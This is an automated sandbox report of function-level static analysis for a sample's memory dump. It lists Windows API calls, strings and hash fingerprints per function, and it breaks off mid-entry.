Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: ItemMenu$Info$Default_memset_wcscpy
String ID: 0
API String ID: 4152858687-4108050209
Opcode ID: d0ff9ca1fa1c7e589cc83b4ccb40813297cdb0b339f14cc97dcaa465f5d67dec
Instruction ID: e97f22ad12ceca9444f0708233e55c12eed16d9557aea7680a9cfcfedcce4815
Opcode Fuzzy Hash: d0ff9ca1fa1c7e589cc83b4ccb40813297cdb0b339f14cc97dcaa465f5d67dec
Instruction Fuzzy Hash: 2851CF71508301ABDB24DE28DA45A6FBBE4AF49314F140A3FF895D3291DBA8DC04C75A

Function 00443137 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 161COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00443277
_memmove.LIBCMT ref: 00443310
_free.LIBCMT ref: 00443336
_memmove.LIBCMT ref: 004433E9

Strings

_D, xrefs: 00443322
3cD, xrefs: 00443225

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: _memmove$_free
String ID: 3cD$_D
API String ID: 2620147621-3978952248
Opcode ID: 38479935ef0cadf98f0b71a0a4b95706aa831347ea30191ccc013cf349b5f579
Instruction ID: 44648c3fd66566955b7360c43d0d55246b43508309d19801bbbbb75dd75163aa
Opcode Fuzzy Hash: 38479935ef0cadf98f0b71a0a4b95706aa831347ea30191ccc013cf349b5f579
Instruction Fuzzy Hash: CF518B716043418FEB25CF28C840BABBBF1BF85715F08882EE98987351DB39E905CB46

Function 00446192 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 141COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00446248
_memmove.LIBCMT ref: 004462E4
_memset.LIBCMT ref: 00446308

Strings

ERCP, xrefs: 004461B3
3cD, xrefs: 004462AF

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: _memset$_memmove
String ID: 3cD$ERCP
API String ID: 2532777613-125502418
Opcode ID: d40b2a8e53cf3c6ade2d1d77dd64fecbc772663c7f4379d6d650221474c0d2fe
Instruction ID: 6f8bcde29cef68ecf4d0aa0d9042c88e88379e736faca872e6b20a3d5d75084a
Opcode Fuzzy Hash: d40b2a8e53cf3c6ade2d1d77dd64fecbc772663c7f4379d6d650221474c0d2fe
Instruction Fuzzy Hash: 04519171900705DBEB24DF55C941BABB7E4BF05305F20896FE84ACB281E778AA45CB49

Function 00492753 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004927C0
GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 004927DC
DeleteMenu.USER32(?,00000007,00000000), ref: 00492822
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,004F5890,00000000), ref: 0049286B

Strings

0, xrefs: 004927B5

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Menu$Delete$InfoItem_memset
String ID: 0
API String ID: 1173514356-4108050209
Opcode ID: 80114f351545fe8a704645891bc162c4211c3dc2cc5009dd3b64f587a613ec52
Instruction ID: 01fdf02e388fa77dde16f8afbd4d2b9804049fb124e960108d4c2b1a23fab469
Opcode Fuzzy Hash: 80114f351545fe8a704645891bc162c4211c3dc2cc5009dd3b64f587a613ec52
Instruction Fuzzy Hash: 7D41A170204301AFDB20EF25C944F1BBBE4AF85314F044A3EF96597391D7B8A905CB6A

Function 004AD7A5 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 101COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 004AD7C5

Part of subcall function 0043784B: _memmove.LIBCMT ref: 00437899

Strings

winapi, xrefs: 004AD836
none, xrefs: 004AD8A0
stdcall, xrefs: 004AD847
cdecl, xrefs: 004AD81C

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: BuffCharLower_memmove
String ID: cdecl$none$stdcall$winapi
API String ID: 3425801089-567219261
Opcode ID: e364e49c01f62f0c0c4bd926dc64376140f5ed8904fb49a70acd8b8f9fccf41c
Instruction ID: 0d80f2cfec8683ee69c47bb89b25ac92fb8fedaec973c558a8aac2c704ea6a84
Opcode Fuzzy Hash: e364e49c01f62f0c0c4bd926dc64376140f5ed8904fb49a70acd8b8f9fccf41c
Instruction Fuzzy Hash: 44319C70904205ABCF10EF59CC519AEB3A5FF25324F108A2FE876976D1DB39AD05CB88

Function 00488E90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00437DE1: _memmove.LIBCMT ref: 00437E22

Part of subcall function 0048AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0048AABC

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00488F14
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00488F27
SendMessageW.USER32(?,00000189,?,00000000), ref: 00488F57

Part of subcall function 00437BCC: _memmove.LIBCMT ref: 00437C06

Strings

ListBox, xrefs: 00488ED3
ComboBox, xrefs: 00488E9E

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: MessageSend$_memmove$ClassName
String ID: ComboBox$ListBox
API String ID: 365058703-1403004172
Opcode ID: 6ed11ad8a5e90c4e090876dc339b76cbae2837c047d198ec1aaa6fc52ae6b3ae
Instruction ID: 47e3114adf5811cb32fb202004234b244224dcc7077b915bcbd3e4b95e60541c
Opcode Fuzzy Hash: 6ed11ad8a5e90c4e090876dc339b76cbae2837c047d198ec1aaa6fc52ae6b3ae
Instruction Fuzzy Hash: 0D21F571A00108BBDB14BBA18C45DFFB769DF05324F54492FF925A72E1DB3D180A9718

Function 004A182D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 004A184C
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004A1872
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 004A18A2
InternetCloseHandle.WININET(00000000), ref: 004A18E9

Part of subcall function 004A2483: GetLastError.KERNEL32(?,?,004A1817,00000000,00000000,00000001), ref: 004A2498
Part of subcall function 004A2483: SetEvent.KERNEL32(?,?,004A1817,00000000,00000000,00000001), ref: 004A24AD

Strings

, xrefs: 004A1893

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: d3d0066d328c56f793d533431c698c9215fd976ec39a09b328f6bfbd44e804d5
Instruction ID: c634f435d72239a16352a0f347decf4f3136bb65124c70eb57dfed4f6ad5d61c
Opcode Fuzzy Hash: d3d0066d328c56f793d533431c698c9215fd976ec39a09b328f6bfbd44e804d5
Instruction Fuzzy Hash: C821B0B1500308BFEB11AF65CC85EBB77EDEB5A748F10412FF80596250EA6C8D0597A9

Function 004B63E7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00431D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00431D73
Part of subcall function 00431D35: GetStockObject.GDI32(00000011), ref: 00431D87
Part of subcall function 00431D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00431D91

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 004B6461
LoadLibraryW.KERNEL32(?), ref: 004B6468
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 004B647D
DestroyWindow.USER32(?), ref: 004B6485

Strings

SysAnimate32, xrefs: 004B643C

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
String ID: SysAnimate32
API String ID: 4146253029-1011021900
Opcode ID: a521bb101b4ec74a018dd755f094dd066bdc75777d3538f45309c5f46166d11b
Instruction ID: 1d57da3fb96959cbcb1a8fd3ad3756badc35df23b968db322180204fa327f985
Opcode Fuzzy Hash: a521bb101b4ec74a018dd755f094dd066bdc75777d3538f45309c5f46166d11b
Instruction Fuzzy Hash: 80218E71100605BFEF108F64DC40EFB77A9EB59328F12462AFA1492290D77DDC519778

Function 00496D9C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 00496DBC
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00496DEF
GetStdHandle.KERNEL32(0000000C), ref: 00496E01
CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 00496E3B

Strings

nul, xrefs: 00496E36

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: 99aeeb637150f4b1465c64a9be9c05f7a34a340b5fe12e8b270088efed70712b
Instruction ID: 7f3f7da2e7f6bc767c640a524b70d37489df9273f3f1e94aa14c1a768524d900
Opcode Fuzzy Hash: 99aeeb637150f4b1465c64a9be9c05f7a34a340b5fe12e8b270088efed70712b
Instruction Fuzzy Hash: 56218C7460020AABDF209F29DC04A9A7FA8EF44720F214B3AFCA0D73D0DB759955CB58

Function 00496E6A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00496E89
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00496EBB
GetStdHandle.KERNEL32(000000F6), ref: 00496ECC
CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 00496F06

Strings

nul, xrefs: 00496F01

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: 682a466c2b3d5b12d3f7165aa0fef70d1b9d2f603ce815ade2a4f0832fab97c4
Instruction ID: f86c81b4f66469c7d11070121aab3787c2ac66c466e92ca1ccf95872ef2439d7
Opcode Fuzzy Hash: 682a466c2b3d5b12d3f7165aa0fef70d1b9d2f603ce815ade2a4f0832fab97c4
Instruction Fuzzy Hash: 90219079500305ABDF209F69DC04A9B7BA8EF45724F210B3AF8A0D73D0D774A8518B59

Function 0049AC40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0049AC54
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 0049ACA8
__swprintf.LIBCMT ref: 0049ACC1
SetErrorMode.KERNEL32(00000000,00000001,00000000,004BF910), ref: 0049ACFF

Strings

%lu, xrefs: 0049ACBB

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: ErrorMode$InformationVolume__swprintf
String ID: %lu
API String ID: 3164766367-685833217
Opcode ID: 32313a419c3528fbfd0c99ccd6304dec6354f464f9d49fa6895853e2cfc38de7
Instruction ID: d3dac4c3fa80b13c47912213b8c96f35cea2868ef054f22dc93a4b1af532dc8a
Opcode Fuzzy Hash: 32313a419c3528fbfd0c99ccd6304dec6354f464f9d49fa6895853e2cfc38de7
Instruction Fuzzy Hash: 4521A470600109AFCB10EF59CD45EAE7BB8EF49318B00447EF809EB251DA75EE05CB65

Function 00491142 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,0048FCED,?,00490D40,?,00008000), ref: 0049115F
Sleep.KERNEL32(00000000,?,?,?,?,?,?,0048FCED,?,00490D40,?,00008000), ref: 00491184
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,0048FCED,?,00490D40,?,00008000), ref: 0049118E
Sleep.KERNEL32(?,?,?,?,?,?,?,0048FCED,?,00490D40,?,00008000), ref: 004911C1

Strings

@I, xrefs: 0049119D

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID: @I
API String ID: 2875609808-896914347
Opcode ID: 533c9849eaad2fc183a7a2b1d88e695b247915029a77acd1e0f1842994d18589
Instruction ID: affee40a5d7ecd4052049719faedbd6a62e2dbb764091929e6f5f7bdc139d94d
Opcode Fuzzy Hash: 533c9849eaad2fc183a7a2b1d88e695b247915029a77acd1e0f1842994d18589
Instruction Fuzzy Hash: 78115A31C0051EE7CF009FA9D88AAEEBF78FF09711F004566EA45B2250CB349954CB99

Function 00491AE8 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 49COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00491B19

Strings

KEYS, xrefs: 00491B30
APPEND, xrefs: 00491B52
EXISTS, xrefs: 00491B41
REMOVE, xrefs: 00491B1F

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 3964851224-769500911
Opcode ID: 2ba08271f9e359f9b2b68cd91abd4a378a45cbe0f207c2b72b9d5964110c3e38
Instruction ID: e61f98d31fae9714ed9c338df4e5a2300e656c9e54dbd1d1e3d4551d6d6e3fa1
Opcode Fuzzy Hash: 2ba08271f9e359f9b2b68cd91abd4a378a45cbe0f207c2b72b9d5964110c3e38
Instruction Fuzzy Hash: 18118E359002499FCF00EF55D8518FEB7B5FF25309B10846AD819672A2EB366D0ACB48

Function 004AEB55 Relevance: 7.7, APIs: 5, Instructions: 247COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 004AEC07
GetProcessIoCounters.KERNEL32(00000000,?), ref: 004AEC37
GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 004AED6A
CloseHandle.KERNEL32(?), ref: 004AEDEB

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Process$CloseCountersHandleInfoMemoryOpen
String ID:
API String ID: 2364364464-0
Opcode ID: efcbf0502f2b6895941cde168376644724b18b63886ee4e6a9e59386e27a5269
Instruction ID: a4c656ba251f4604fd26d37ec8af6a13ddf456307c85db96d9b25ae0ee8432f3
Opcode Fuzzy Hash: efcbf0502f2b6895941cde168376644724b18b63886ee4e6a9e59386e27a5269
Instruction Fuzzy Hash: 0781A1716003009FD724EF29C886F2AB7E5AF99714F14881EF9599B3D2DAB4EC04CB59

Function 004B0037 Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00437DE1: _memmove.LIBCMT ref: 00437E22

Part of subcall function 004B0E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,004AFDAD,?,?), ref: 004B0E31

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 004B00FD
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004B013C
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 004B0183
RegCloseKey.ADVAPI32(?,?), ref: 004B01AF
RegCloseKey.ADVAPI32(00000000), ref: 004B01BC

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpper_memmove
String ID:
API String ID: 3440857362-0
Opcode ID: 33ff531982bc89e616aaa54ffa3676b73d156aa878de9b3c0f541709729989c0
Instruction ID: 5e578814daa62eee309834d4cd50126ec173471724600a99ef0d85101819e7b5
Opcode Fuzzy Hash: 33ff531982bc89e616aaa54ffa3676b73d156aa878de9b3c0f541709729989c0
Instruction Fuzzy Hash: 39516D71208204AFD714EF58CC81EABB7E9FF88318F40492EF595872A1DB35E905CB66

Function 004AD8C8 Relevance: 7.6, APIs: 5, Instructions: 139libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00439837: __itow.LIBCMT ref: 00439862
Part of subcall function 00439837: __swprintf.LIBCMT ref: 004398AC

LoadLibraryW.KERNEL32(?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 004AD927
GetProcAddress.KERNEL32(00000000,?), ref: 004AD9AA
GetProcAddress.KERNEL32(00000000,00000000), ref: 004AD9C6
GetProcAddress.KERNEL32(00000000,?), ref: 004ADA07
FreeLibrary.KERNEL32(00000000,?,?,00000000,?,?,?,?,?,?,?,?), ref: 004ADA21

Part of subcall function 00435A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00497896,?,?,00000000), ref: 00435A2C
Part of subcall function 00435A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00497896,?,?,00000000,?,?), ref: 00435A50

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad__itow__swprintf
String ID:
API String ID: 327935632-0
Opcode ID: 00f556488e576b2324f4fac41c84967437c19167e95f972f3ac2a56907396eb8
Instruction ID: 3c3356efa7cbc2811293e4b7ff662cf22703a315952e3640fb1249463ee04b4c
Opcode Fuzzy Hash: 00f556488e576b2324f4fac41c84967437c19167e95f972f3ac2a56907396eb8
Instruction Fuzzy Hash: DB512975A00205DFCB00EFA9C4849AEB7B4FF19314F04816AE85AAB312D738ED46CF55

Function 0049E571 Relevance: 7.6, APIs: 5, Instructions: 135COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 0049E61F
GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 0049E648
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 0049E687

Part of subcall function 00439837: __itow.LIBCMT ref: 00439862
Part of subcall function 00439837: __swprintf.LIBCMT ref: 004398AC

WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 0049E6AC
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 0049E6B4

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

